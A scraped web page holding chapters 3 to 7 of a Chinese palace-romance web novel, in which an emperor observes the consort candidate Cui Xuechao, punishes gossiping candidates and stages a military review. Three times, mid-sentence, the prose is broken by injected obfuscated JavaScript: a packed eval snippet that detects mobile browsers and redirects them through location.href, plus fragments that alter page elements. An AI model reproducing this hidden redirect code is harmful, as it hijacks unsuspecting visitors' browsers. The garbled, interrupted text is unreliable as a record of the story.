“你不知道他的脸有多红!” 某个秀女乐不可支地说着今日看到的奇景,“就跟那青蟹上了蒸屉似的!” “还有一个生得很高的,我瞧他站起来怕得八尺还多,养他这般大的儿郎不知家中要买多少米粮才够!” “还有个猴人呢,三回路过,都能瞧见他在同僚肩背上窜来窜去...” 锦绣宫内,秀女聚在花园中乘凉,扎堆坐在一块兴致满满地议论着今日隔墙瞧见的男子奇景。 乾元帝袁望看过儿子功课,心情不错。 思及今日安排,朝臣相看过了,正好路过锦绣宫,他也瞧瞧那高家二女是何模样。 宫人噤声,乾元帝一路悄无声息地行至锦绣宫花园拱门,借着宽阔的树身偏首打量起来。 百花‘争鸣’,嘻嘻呵呵笑得很有朝气,乾元帝顺宫人指点,被簇拥在人群中的女子姣容美丽。京中传言,高家二女容颜之胜艳比东吴西施,数百秀女无人能出其右。 美则美矣,可惜只在皮相。 乾元帝锐眸透过人墙,清晰地看到高氏女目光移向某些秀女时藏得并不上心的轻慢与蔑视,装也装得不像样。 高家乃簪缨世家钟鸣鼎秀之首,天下门生半数为其党风,高家之女论理最该为后。 后位不过摆设,乾元帝不在乎高氏女品行如何。 目光不经意地一动,袁望下意识驻足。 众秀女之后,有几人闲坐石凳。 台面几碟零嘴,有一女子眼神凝在说话的秀女堆里,时而随人群反应点个头或笑一笑,石桌靠边的那碟小山尖似的肉脯在某个秀女起身遮挡的须臾光景,忽而矮了半截。 袁望观摩片刻,见那秀女总捂着嘴笑,实则鬓发处一鼓一鼓,心底失笑。 那份情态与他幼时曾豢养过的狸猫背过身偷吃肉干时一模一样。若有个什么动静,那双猫眼睁得极圆,满是无辜和‘跟我没关系’,还会装模作样地往别处看看。 “那是谁家的姑娘?” 宫人顺着帝王视线看去:“回陛下,是崔次辅家的长女,名唤雪朝。” 翻阅过的名册浮现在脑海。 乾元帝心知此女论资质只能配某位臣下,瞬间兴致全无。 “走吧。” 4. 第 4 章 惠风和畅,春阳洒在池塘漾起粼粼波光。 秀女们上晌刚经历大场面,领事嬷嬷停了后晌的课,放了小沐。 诸多姑娘们闲来无事,坐在锦绣宫花园凉亭讲起小话,有机敏的宫人呈送零嘴和茶水以供这里头的未来贵主们惬意。 确认宫人走了,秀女们齐齐放松。 彼此沉浸在互相分享今日看到的趣景,竟也没发觉宫人们不在,花园拱门处竟还藏着意外来客。 “还有还有!今日那位被众人起哄揶揄的魏大人,可有人见到他的长相?我站得有些靠里,看不真切,倒是听着他同僚说的那些话险些崩不住笑出声呢!” 有姑娘通晓些内情,立时开口:“我在家时听我哥哥提过这位安勇侯!” “怎么样?那些说他洁身自好,二十六连姑娘手都没牵过的话是真的还是假的?” “哎呀,你怎么这么着急?快说,是不是看上人家了?” “没有!我没有!我就是...我就是好奇!” 姑娘们娇花般笑得连春风沾了几分燥。 乾元帝迈开步子,俶尔某道声音止住他的去势。 “安勇侯青俊有为,深得陛下器重。可惜出身差了些,不好婚配门阀贵女。” 帝王眼眸俶尔锋锐,扎向那边轻描淡写蔑视他肱骨之臣的女子。 是站在高氏身边,方才几番开口都在附和高氏的一个。 亭台处议论声并未停下。 有不知内情的姑娘疑惑:“侯爵之身不算低了吧?” 高二姑娘气定神闲却自认高诸位秀女一等,语气有遮掩不了的优越:“公爵亦有高低,如安勇侯这般靠军功封侯的,自然比不得宗亲承袭。” “高二姑娘出身比我们都高,看的深远!眼下陛下厚恩,安勇侯府自然鲜花簇锦。” 若帝王来日寡恩呢? “且这位侯爷出身农家,若非上天垂运,碌碌一生不过是田垅农夫。” 这话一出,原本还笑成一团的秀女们瞬间收住声音。 那姑娘被突然的死寂吓了一跳,脸色发白,“你们怎么这副表情,我说的也没错呀!” 高二姑娘启唇缓解尴尬,“大家聚在一块说些姑娘家的悄悄话没什么大碍,却要记得分寸。秦姑娘觉得呢?” 话虽如此,神情自然,显然并不觉得方才那话是冒犯。 秦姑娘回过神来,眼神慌张地扫过周围的姑娘们,心生绝望。 她一时放松谨慎,竟大庭广众蔑视公侯之尊! “我一时失言,还请诸位姑娘别放在心上。” 高二姑娘:“姐妹们不会在意的。” 她身侧几位姑娘附和。 “大家只是在说笑。” “姑娘们的私话,不会乱传的。” 秦家姑娘霜白着脸,懊恼之余不甘心只自己沾了水。 “话至深处,大家不必藏私。崔家姐姐上晌站得靠外,我瞧着有回您侧目,恰巧魏侯爷在看。魏侯若真如那群大人所言,崔家姐姐可会不计魏侯的出身,青眼另看?” 这番话里藏针,还挑准了人。 诸秀女中崔雪朝经历复杂,默认进不得宫。恰好出身崔家,父亲次辅之高,确实有资格对安勇侯挑剔一二。 乾元帝威严动怒的视线从不安分的秦家姑娘得意的面上挪开,心中已有对她的处置,只是他不动如山,好奇崔家长女会如何作答。 被众秀女盯着,崔雪朝微抿唇飞快舔舐过唇面上的油亮,落在旁人眼中便是她在紧张地思考如何作答。 “我归京不久,并不了解安勇侯府。” 这回答不偏不重,勉强算急智,至少并未直言安勇侯出身高低的看法。 乾元帝略满意。 “农家亦或是门阀,以我等女子薄见,多为私论。” 崔雪朝笑容温婉,“陛下英明神武,力挽山河破碎,还天下太平,必然慧眼如炬。安勇侯乃陛下潜龙在野时选中的辅臣,其品性自有独到之处。于安勇侯府而言,已有陛下赏识,是否有我的青眼相看,无关紧要。” 乾元帝箭术独绝,百步穿杨不在话下,清楚看到崔家长女提及自己时眼底浓浓的赞叹、敬仰和拥戴。 袁望迎风稍挺胸膛。 朕的确很有赏人识辩的功夫,慧眼如炬倒也不是虚夸。 崔家长女不见天颜却有一颗琉璃心暗察朕的优点。 她很不错! 朝堂百官进奏本,总喜欢辞藻华丽虚伪至极的东西夸他千功伟业。其中不乏歌颂他封官之举如何英明。 那些溢美之词,袁望看得厌烦。 这会儿倒是耳清目明,心底十分满意。 不过转眸瞧见凉亭高氏女身周几人,好心情顿时减去一半。 “领事嬷嬷怎么当的差?那几个搬弄是非的,让她们家中父兄把人接走,回去好好教导!” 童公公连带着锦绣宫管事等人立时跪地告罪。 乾元帝目光阴戾地扫过跪了满地的宫人,垂颈的太监嬷嬷们恍惚觉得方才还晴好的天刹那蒙了乌云,帝王怒目如有刀锋实质,一时冷汗津津两股战栗。 前朝末帝不打理朝政,权柄渐渐落在宦官集团。 新帝攻破宫城的第一刀便是挥向太监。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398464|168660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>整个宫廷的内监全被屠尽,天亮时漏雨的龙首淅淅沥沥吐出的竟是血水。 专属于内庭宫人的腥风好似消散。 “锦绣宫办事不力,大小管事每人四.....” 铡刀垂落的那一刻,帝王突然顿住话音。 就在方才,崔家姑娘假模假样地打个呵欠一副累极了的架势,起身跟其余秀女行礼后离去。 袁望心中浮起某个猜测,凝视亭台方向。 衣影蔓去,崔家长女之神态端庄好比佛台观音,人走影无,袁望眉峰轻挑,难得外现一丝浅笑。 石桌一角,盛过小宝塔似的肉脯碟子,空了。 僵在地上以为生机要灭的宫人突闻陛下语气大变,似含着笑音,“大小管事和嬷嬷各领十板,小惩大诫,不可再犯。” 众人如死过一场,忙磕头谢恩。 当晚,锦绣宫便有撕心裂肺的女子哭喊声回荡不休。 未经准允,秀女不得出屋。 屋内没点灯,院中禁卫燃起的火把光影影绰绰,映在窗纸如鬼如魅。 崔雪朝仿佛能嗅到兵士们行进时戈甲锵锵的寒意。 一声轰天响的撞门声,就在茶字号的旁边,听动静,是领事嬷嬷在喊秦家姑娘名号后,对方不主动出门还挂了门栓。兵士们丝毫不照顾屋中其余秀女的身份,直接撞门。 “救命!救命!陛下,臣女知错!臣女再不敢....呜..呜呜...” 后边的求饶听不真切,像是被塞了布团。 高二姑娘坐在暗处,吓得泪都不敢流,瑟瑟发抖,生怕下一个被破门而入带走的轮到自己。 幸而秦姑娘之后传来侍卫撤走的号令,整个锦绣宫如死地,每个屋子门扉关得死紧。 一夜过后,不拘昨夜事给秀女们留下多大的阴影,新的领事嬷嬷照常开课。 诡异阴森的气氛飘浮在秀女们眼神流转之际。 往日高氏女身边簇拥附和的动静消失不见,所有人都知道是那一日在花园的事情传到了陛下耳中。 高二姑娘委屈,秦家姑娘等人虽可怜,但跟她有什么关系,又不是自己人前失言?幸而父亲传了话,叫她不必畏惧,高家在她身后,除非是谋逆大罪,她不会有事。 听说那晚被带走的姑娘脸上全都挨了内廷司的篾板,容颜受损尚有医药治疗,声名损了连带家中父兄请罪谪贬,往后余生都要为她们行事不检点而赎罪。 崔雪朝犹有余悸,亏得她当时机敏不曾落人话柄。 这座宫城的新主眼线遍布,行差踏错半步便有可能堕入死地。这地方能吃人,万幸她不会留下。 5. 第 5 章 新换来的领事嬷嬷吸取教训,行事风格严厉,要求秀女们规行矩步,三人成行,禁止议论课业以外的任何事情。 锦绣宫俨然变成秀女们心中的另类牢狱,很快第二场小选开始。 一百秀女瞬减大半,只剩三十。 “好些人都是故意出错的。” 崔荷跟崔雪朝嘀咕,“她们也不想想,落选之后要么作配给没功没爵没职衔的皇室宗亲,要么配给某位七八品臣。还不如赌一把,万一留在宫里,做个小嫔总也比那些风光吧。” 帝王威仪,天怒倾降,动辄伏尸。 眼下犯小错离开,看似自毁前程,却及时控险。 可惜崔雪朝的崔姓成了摆不脱的尊贵,这时犯小错不仅脱身不得,传到乾元帝耳中,恐有大不敬的罪名。 睨眼崔荷,她评故意避走的女子是昏头了,实则眼底隐有畏惧,借说旁人之口,实际上还在给自己壮胆气。 父亲安排崔荷这一次小选落选。 只是崔荷舍不得即将到手的荣华,真留下,却又怕来日后悔晚了。 正沉思间,领事嬷嬷来传话。 四月春原盎然,恰逢胡部使团来京朝贡,陛下为昭新朝蔚然气,决定在皇家上林苑进行军演。军演之后,天子巡狩百官随驾。 算来只有十五日的辰光。 领事嬷嬷板起肃容:“陛下巡猎特开恩旨,望京四品上的官员女眷皆可入上林苑与父兄同乐。到时,诸位姑娘也有比试。陛下说了,大乾朝的姑娘们不必拘泥于后院,若有弓马娴熟之流,也可下场与男儿一争。凡有勇者,皆有重赏!” 骤知此事,不少秀女呆住。 让她们比女工拼雅艺,不说把握高不高,至少能舞弄一二。 可骑马拉弓射杀野畜...... 像是明白众人的难处,领事嬷嬷继续:“为免各位姑娘露怯,自今日起暂停雅课,改研骑艺。” 这日起,秀女们每日卯正起身,走上半个时辰前往北麓所学骑马学拉弓射箭。 两腿溜得细条的秀女们很快放弃钻研弓道,纵是特制的女弓拉起来也很费力还容易伤着纤纤细指。 相较而言,骑马便成了最佳选择。 监马司特意训好的母马性格温驯颇通人意,秀女们想到自己来日在皇家林苑身着娇俏的骑装,控缰奔在青原时身姿翩舞如灵鹿。高台之上陛下若瞧见了,必然喜欢。 明日便要出发前往上林苑。 最后一次提升自己骑术的良机,纵是烈日,秀女们也不敢松懈。 崔荷驱马跑了几圈,在一旁休息秀女羡慕嫉妒的注视下娴熟地翻身落地。 马监接过她缰绳,赞许她骑术了得。 崔荷笑笑,昂着头越过人群走向躲在树荫下的崔雪朝。 “姐姐不去跑跑马?” 崔雪朝指指自己脚踝:“方才下马不小心崴了。” 真笨。 崔荷露出关切:“严重吗?不会影响明日去上林苑吧?” 崔雪朝说不打紧。 “在外埠时我学骑马,阿娘总说我心野。这回她傻眼了吧!若不是我有前功,哪有今日拔得头筹的机缘?” 得意过了,“四品上的官眷都有资格参加巡猎,阿娘必定能来!离家四十多天了,我好想她!” 崔雪朝垂眸盯着地上的野草不语。 侧室不适合在这种场合露面吧。 崔荷怅了片刻,又问崔雪朝:“姐姐呢?你想家吗?” 崔雪朝看着她眼里的单纯无辜,扯了扯唇:“还好。” “姐姐离家早,心智比我坚韧。我自出生就没离开过阿娘,算来这是头一回跟她分开这么久。” 崔荷:“下月是她生辰,选完秀女归家,正好能赶上呢。” 下月... 端午佳节,龙舟盛会,外埠大街小巷热闹得像是炸了马蜂窝,她跟下人走失,独木难支被裹挟在人潮里险些憋死。 进家时上气不接下气,后来才知是肋骨断了。 那一日,阿娘去了。 崔雪朝深吸一口气,一瘸一拐地朝着密林走去。 “姐姐你去哪儿?” “衣裳沾了泥土,我去河边洗洗。” 崔荷忙检视自己衣裳,衣摆下头不知何时沾了污秽,隐隐有股异味。是马粪? 她嫌弃地一甩衣摆,快步追上去。 北麓占地颇广,本就是皇家宗亲跑马之地。 胡部使团入京,随胡部一并来的朝贡里有一批优良的汗血马,还在送往北麓的路上,乾元帝便动身。 袁望自小习武,鏖战沙场常年伴在身侧的是少时母亲蹭予他的一匹乌孙,可惜庆城与胡人最后一战死在边关。 他目光赞赏地看着这批宝驹,择了一匹通身黝黑唯有额间一簇白毛的,畅快地绕着北麓野场奔驰许久。 “此马与朕很合,就唤他照夜吧。” 马监牵着照夜去饮水,乾元帝左右看看,指着某处深林:“朕记得从那儿往北,有一道小瀑垂涧,涧水深处独有一种银鱼,切做鱼生,滋味鲜甜。” 内监童公公吩咐下头人去弄,乾元帝摆摆手:“不远,朕自去捉来。” 禁军侍卫长忙调派人手入林戒备。 乾元帝三十有二,正值盛年,不等侍卫封林检查完便率性迈步。 密林高耸入云,往里走越发静谧,偶有枝雀吱喳。 溯溪而上,袁望没理会内监不停嘴的劝他慢些,某个瞬间耳畔突然传来人声,他猛地站住抬手示意众人噤声。 靠近声源,观其头饰衣着,是两个秀女,正蹲在浅溪跟前搓衣摆。 “姐姐,最近练骑马太辛苦了,我觉得自己瘦了好多。你看你腰眼这儿,空的都能塞两个拳头进去。” 崔荷担忧,陛下青睐体魄康健的女子,衣裳不合身,风一刮只会衬得她弱不禁风。 “也不知明天会不会给咱们新衣衫。选秀嘛,女儿家装扮得花枝招展才好叫陛下择选,全都一个样儿,哪能看出高低来?” 崔雪朝没接应她的埋怨。 提到陛下,崔荷又有了新的愁绪:“姐姐,你听说了陛下曾亲手射杀了自己双亲的事情吗?” 不远处的童公公险些吓背过去,正欲出声呵斥两个胆大包天的秀女,却被陛下沁寒的眼神震得先跪下了。 乾元帝今日鱼鲜不曾吃上,先有了意外收获。 他倒要听听外头人是如何传他的事迹! 袁望挥远侍卫,在溪边一直沉默搓衣的女子回头查看四周前,灵活稍转侧身,借宽大树身藏起行迹。 “这话是谁同你说的?” 崔雪朝确认周围无人,头回情绪外露有了怒色:“你老实交代!” 崔荷:“我...我就是听说...” “听谁说起?” 崔荷努力回忆报出几个名字:“她们没和我讲,只是我路过,恰好听了一耳朵。” 有这么恰好的事情? 崔雪朝窒了下:“这话你还同谁提过?” 崔荷摇头:“没有!我就是再蠢也晓得祸从口出的道理。姐姐不是外人,我就是一时顺口......” “往后不许再提,听见了没有!” 崔荷被吼,哽塞打个嗝,没一会儿呜呜哭了。 “我就是有些害怕,偷听她们说了,我整夜睡不踏实。宫里和我想象中的样子一点都不一样,连..他也和我以为的......那几个秀女下晌刚说了话,天还没黑就被捆上麻绳.....同屋的秀女说秦家姑娘出宫当晚就悬了梁....” 她抽抽搭搭,崔雪朝纵是不舒服,搂着她肩头无言安慰。 溪水潺潺,崔荷哭过那阵害怕,又不好意思地推开姐姐的胳膊,沾着溪水擦拭脸上泪痕。 “你不知世事错综复杂,陛下当年有他的难处。” 崔荷:“什么难处非得杀了亲生爹娘?” 崔雪朝便把秦妈妈告诉她的事情说给崔荷听。 “两军阵前,当年陛下不仅是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398465|168660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿子,更是万军将士统帅。为了夺回庆城死了好几万军民,他若为保爹娘将庆城拱手相让......” 那可真是踏着尸骨在将士们坟头上唱阖家团圆的千古绝唱了。 崔荷:“天家在上,舍一座城池应该也没什么大不了吧。难道那些将士们还敢反叛陛下不成?” 悄声上前正要回禀的禁军侍卫长眨眨眼,乖觉地陪在童公公身边跪了。 崔雪朝无奈地叹口气:“那就不知道了。我同你说这些,只是提醒你要本分。那几个秀女偏在你路过时提这些大逆不道的话,还恰巧落入你耳?” 崔荷:“姐姐是说陛下并不是传言中的那般狠辣无情,实际也是个....苦命人?” 崔雪朝:“我并无此意。你如何看待陛下是你的事情,但不可牵连到家里。” 崔荷急忙起身跟上她的脚步:“那姐姐说陛下会后悔当日的决定吗?”反正她是不能想象自己杀了阿娘的情景。 崔雪朝抖落袖角沾到的碎叶。 “落子无悔,人生亦如是。换做是我,我不后悔。” 便如当年为几两聘资嫁人,清名不再却能让父亲母亲走完去往外埠的最后一程。 “走吧,好像有宫人在寻我们了。” 走出一段路,似有所觉,崔雪朝停住,猛地看向方才停留过的河边。 “姐姐?” 崔雪朝掏掏袖里:“没事,以为帕子掉了。” 片刻后,乾元帝目光复杂地望向二人身影消失的石径尽头。 “你们说她方才回头...是不是看见朕了?” 跪了全程什么都没瞧见的童公公和禁军侍卫长连连摇头。 崔...雪朝... 乾元帝沉吟,若没瞧见他,此女所言...袁望呼吸微乱。 但若是此女明明瞧见了他,观他衣饰必然能明白他的身份。 却能八风不动,临危不乱地说那一通,可见此女颇有心机! “陛下,方才兵部尚书进宫,言称器物司近日研究的铳管有了进展要跟您亲自回禀...” “让他先候着。” 乾元帝随意坐在一处树根,像是新到手的江山即将面临天灾般严阵以待,拧着眉峰,支颐沉思。 也不对。 常理推论,这崔家长女应是明白自己资质不堪为妃的。且他回忆,锦绣宫领事嬷嬷回禀时从未提及崔家长女在某一艺上压过众人,不肯冒尖,此等表现应是无意入宫。 但!是不是有这么一种假设? 方才崔家长女明知他在,故意!说了些令他心底意动的妙言。为何? 还记得凉亭往事吗? 对!她那时便在大庭广众之下公然宣告对朕的...敬佩。 然!一个未婚女子,对于另一个未婚男子的敬佩赞赏,高山仰止,何尝不是爱慕呢? 所以,崔雪朝她爱慕朕! 竟是如此!!! 一切费解之处全都通了。 所以方才她知晓朕在,夹带真心,看似是说给另一个秀女,实则,是在对朕暗暗诉情? 是了。 怪不得她临走前要回眸一眼。 这又何尝不是另一种明示? 她知晓朕在听。 朕!在!听!所以她剖白安慰自己帝王路上留下的疮痍。 呵,“手段低劣了些。” 不过袁望觉得情有可原。就如另一个秀女所言,外界对他误解良多,不迂回些,自己也不会接受这等情意。 等等.... 她知晓朕在听。她付予真心。临走时却又不动声色地挑明。她知道朕知道她知道朕在...... 立在一侧沉默的童公公就见陛下猛地站起,抱臂仰头,抚着下颌碎碎念什么‘知道’‘不知道’‘装知道’‘朕知道’...... “你知道陛下在想什么吗?” 禁军侍卫长蚊声发问。 童公公费解地摇摇头:“小人真的不知道。” 6. 第 6 章 听宫人说陛下御驾北麓林原,禁卫军要封林戒备,今日的骑术课要提前结束。崔家两女对视一眼,庆幸走得早,回到秀女行伍。 而林中乾元帝已然挣脱逻辑牢笼。 他只需明白两件事。 崔雪朝爱慕自己。 崔雪朝在试探自己会如何应对她的宣情。 袁望嗤笑。 她以为进宫为妃是这么简单的事情?心生爱慕便能为妃,那天下女子人人都要说自己爱慕朕了! 便是朕勉为其难地准了,又置文武百官于何地? “陛下,锦绣宫的领事嬷嬷到了。” 乾元帝对于崔雪朝的心思了若指掌。 她不就是想看朕会不会为了她破例嘛。 未免痴心妄想。 “奴婢锦绣宫总领给陛下请安。” 乾元帝:“备选秀女中不乏资质出众的。朕听闻她们最近为巡猎苦修骑术,学的如何?可有表现上佳的?” 领事嬷嬷:“回陛下的话,秀女多为闺阁弱流,精擅雅艺居多。骑术并非其所长,故而学得慢些。若论表现上佳者,当属崔家二姑娘为先。其后高二姑娘与罗姑娘不相上下。” 乾元帝:“崔二姑娘?” 哦,就刚才河边哭哭啼啼的那个。 “次辅今日还在中堂称他两个女儿笨拙,让朕莫要怪罪。这么看,也不尽如次辅所言嘛。” “那崔家长女自进宫来表现如何?” 领事嬷嬷:“崔家大姑娘性情沉稳,做事少有错漏,只是样样并不拔尖,能居中流之列。” 看来崔雪朝虽有心贪恋君王,却也懂得分寸。 只是中流,这分寸拿捏得过于谨慎了些。 袁望不甘心:“就没有一处拔尖的?” 领事嬷嬷想了想:“崔家大姑娘的餐食盘碟顿顿不曾浪费。” 袁望:..... 一个因珍惜粮食而获选为妃的秀女... 难道要说她是体察民生艰辛...等等...贤德...贤妃? 等等,先别太着急... 乾元帝深呼吸,中断胡思乱想:“朕体谅秀女们辛劳,吩咐御膳房从即日起给秀女们的餐食规格比照...妃位。” 他可没忘,之前崔二说崔雪朝都快瘦脱相了。 那可不行。 “仲春风景如画,秀女们去上林苑参赛,外邦使者俱在,穿戴亦是我大乾脸面。吩咐针线局的管事,连夜加急给各位秀女们赶制几套时兴鲜衫,还有珠翠首饰,不必归还,是朕赏...赠给她们的!” “奴婢代各位秀女叩谢陛下隆恩。” 乾元帝想了想,没遗漏什么,让人下去办差。 赏赐流水般送进锦绣宫,秀女们如何喜悦自不必赘述,翌日天不亮,众人穿戴齐整,在辰时前坐上马车。 “我还以为要走着去呢。” 崔荷跟崔雪朝同车,另有高二姑娘和罗姑娘互看不顺眼,彼此懒得给对方一个眼神,车马悠悠,各自闭眼小憩。 中途歇了片刻,一眼望不到前后,自然也寻不到各家车马。 黄昏之际,隔窗而望,已然能看到地势隆起的龙首原。 上林苑橫源辽阔,周长足有百余公里,规模穷极人之所想。纵目远眺,处处风土原貌的天然景观。内有八条河流贯经,冈峦起伏笼众巍峨,深木巨石断岩参差,其间孕育无数禽兽鱼鳖,是天然理想的狩猎场合。 前朝末帝耽于玩乐,大兴土木,上林苑亦在扩建之中,其间光是巍峨高檐富丽堂皇的宫室群就有七十座之多。 秀女们颠在车里骨头都要散了,游览的兴致稍歇,注意力全被后殿足够同时容纳百人的地底温泉池吸引住了。 水雾蒸腾,鼻端充斥着地底温泉独有的硫磺气味。 秀女们下水之后,宫人挥洒下一捧又一捧的花瓣,美人浴活色生香,人人陶醉享乐之欲暂时忘去彼此竞争者的身份。 入夜了,上林苑的客人们大多沉入梦乡。 乾元帝还在看奏本。 安勇侯魏亭进殿时已是子时。 “回禀陛下,京西探子已有消息送出。” 乾元帝示意他说。 “去岁京西地龙打滚,以渭清源一带为中心,辐圆五里震感明显。其中几座深山本该无人,却在震时有本地乡民瞧见......” “已经查实,矿脉深广,日产能达千数旦,以杭商为遮掩搭商船走河浙一道向东出发,淮安为中转点,之后换南方商会的大船出海。” 乾元帝:“你觉得出海是去了何处?” 魏亭目光落在一侧空处悬挂的巨幅辽域图,移向东海沿线,“送到北边胡部的地界?” “近日朕听闻民间传有流言,有前朝末帝血脉残留,自封复帝,要夺回朕手中的江山。” 魏亭:“陛下是怀疑前朝孽党流亡海外,贼心不死,妄图卷土重来?” 乾元帝:“矿山背后之人查不明白,一切都有可能,告诉底下人手脚谨慎些,事情查出来前莫要打草惊蛇。” 魏亭退下。 殿内灯烛通明,乾元帝问了汉王到上林苑后的情形,听说儿子兴奋得很久才入睡,冰凉的面容宽和下来。 “秀女们是何反应?” 童公公:“陛下钦点分配的汤泉宫,自是极好。秀女们遥叩皇恩,浴过花池早早歇下了。” 甚好。 乾元帝起身:“安置吧。” 陛下后宫空着,一直都歇在政殿后阁,行驾挪至上林苑,依旧如是。 不过童公公私以为陛下放下政事独自入睡的日子快要到头了。 * 翌日天亮,秀女们轻易不敢出宫门,嬷嬷们和宫人睁一只眼闭一只眼放姑娘们攀上宫内地势最高的观星台。 视野宽阔,遥望上林苑东边长原上大乾朝的兵士们排演军阵,互为矛盾,杀声震天,骑兵弓兵长矛手默契配合,阵营之后还有宫城器械等重型武器砸出流星巨石。 地表隆隆,仿佛真有一头巨龙冲着敌军引颈怒吼。 观星台上的姑娘们看得心头狂跳。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398466|168660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >某个武将家的女儿泪眼婆娑,有人问她怎么了。 “五年前,我哥哥跟着陛下抗击胡部,阵亡在北境。若他还活着,今日也一定能参演军武。” 在场的姑娘们纷纷安慰起她来。 “陛下在今日军武演练,便是叫那群胡蛮子好好看我们大乾朝的战力有多强盛!他们朝贡完滚回草原后,再不敢生出觊觎我汉人江山的贼心!” “就是就是!你别难过,今日我大乾朝威风赫赫,有你哥哥一份功劳。他在天之灵,看到今日一幕,必然是欣慰的!” 高二姑娘听众人一言一句地安抚那姑娘,有心说些好听的,憋了半晌,心说大不了将来后宫嫔妃之位给这姑娘留一个就是。 想罢,再不为难自己。 军演前后持续了一个时辰多。 有些耐不住热气的中途离开,到了最后,只剩武将家的姑娘和崔雪朝两个人。 “你看得懂军阵?” 她摇摇头,“杀进杀出,看不懂也很痛快。” 武将家姑娘姓董,眼神在崔雪朝被晒得金黄的面上停留:“我听她们说,旧时你曾被玉京众位贵女奉为才仪,闺门人人与你交好。可是你雅艺并不出众,是在藏拙吗?” 崔雪朝刹那恍神。 ‘崔才仪,下月是我及笄礼,可否许三两阿堵铜钱聘您上门,弹一曲《女门绝》?’ ‘崔才仪,我的好阿朝!女学开课,如你这般惊艳棋艺的师父若不坐堂,满玉京谁还有脸?’ ‘崔才仪......’ ‘崔才仪......’ 太过年轻,轻狂意气,不知才学深意在静水暗处,锋芒外露,招摇过市,大祸临头时恨不能生做痴儿。 ‘崔才仪,崔大人关在大牢,生死难料。陛下怜悯,不愿您一身才学无处发挥。眼下云鹿台正缺个群芳首,您意下如何?’ 当时她怎么回的? 不肯折辱,‘除非我死’ 南下奔亲,建康城渡口凑不够船钱,母亲和她磕头求了又求,那船家发浑让母亲陪他一晚。父亲跟人家动手,反被搡进河里。 后来秦淮河最大的红袖招新来了一位乐娘,一手琵琶弹只应天下有,人间哪得几回闻。 三个月后,她凑够去往外埠大港的船钱。 才仪之名曾经是她的风头无两,是她以为绝不能丢的风骨。 后来发现什么都不是,浮光掠影,不值一提。 崔雪朝眼底平和,疏淡一笑:“听她们瞎编。” 董姑娘不知信没信。 原野上军演收尾,旌旗猎猎,鸣金收兵。 “陛下可真了不得呀。” 崔雪朝点点头。 是位英雄。 记得义军攻破帝都,末帝统治告终,街外传来小儿奔走欢呼‘末帝死于河东袁氏’时,她在看诗,写‘仇雌已灭心房畅’。 或许天子高不开攀,但那一日她真切地因河东袁氏而落泪。 丈夫推门进来,沉默地递上休书。 自此,崔雪朝又自由了。 7. 第 7 章 军武演告终,汤泉宫的宫门大开,领事嬷嬷宣告常例规矩,诸如不能胡乱行走,帝驾无诏不可冲撞等等。 众秀女按捺住心里的激动,沉稳地送走嬷嬷们。 自由重归,听宫人说百官家眷都在长原南侧,思家深切的姑娘们乳燕般振开翅膀。 崔雪朝自不如崔荷期待,慢了半盏茶,到悬着崔府牌的月洞门前,耳畔传来赵柔娘舒朗的笑声。 “好好好,是你有远见,是阿娘旧时眼皮浅险些耽搁了你。这般说,满意了吗?” 另一道稚嫩的男音紧随而至:“姐姐,你什么时候才能回家?我很想你。” 宫人疑惑她怎么站着不动,崔雪朝,“父亲在何处?” “军武演过后,陛下设了筵席招待众将士与各位大人,崔大人此时应在真武大殿。” 崔雪朝不愿进去搅兴,正要转身,咚咚从里奔来两个身影来。 阿屏和秦妈妈一前一后到了跟前,“姑娘可算来了!” “你们怎在此处” 秦妈妈:“老奴和阿屏听说到上林苑或许能见着大姑娘,特意求的恩典。” 谁的恩典,秦妈妈没直说。 想来是赵柔娘,若不然就会直说是求的老爷恩典。 “阿朝来了,快进屋歇歇。” 赵柔娘听动静出来招呼。 崔雪朝说好。 见了亲娘的崔荷四仰八叉地瘫在长榻上发懒筋,见崔雪朝进来:“姐姐走得真慢。” “你以为阿朝是你呀!这里处处都是贵人,闺仪风范都忘狗肚子里啦?亏你还说自己在宫里学得很好呢。” 崔荷才不怕亲娘的口头教训,探长胳膊摸到小几上的茶点,哼哼唧唧悠闲地嚼着。 奉上茶,赵柔娘又善解人意地同崔雪朝说了些无关紧要的关心。 崔雪朝配合答应几句,见秦妈妈和阿屏眼巴巴望着,“屋中热,我去外头凉台坐会儿。” 赵柔娘点点头,等人消失在门边,笑意哗啦融得干净,扯起长榻上的女儿连声追问:“阿朝在宫里过的如何?嬷嬷们夸的多不多?” “嬷嬷们才不夸她呢。她样样平平,除了顿顿吃得比谁都干净。” 赵柔娘:“那陛下呢?陛下见过阿朝吗?” 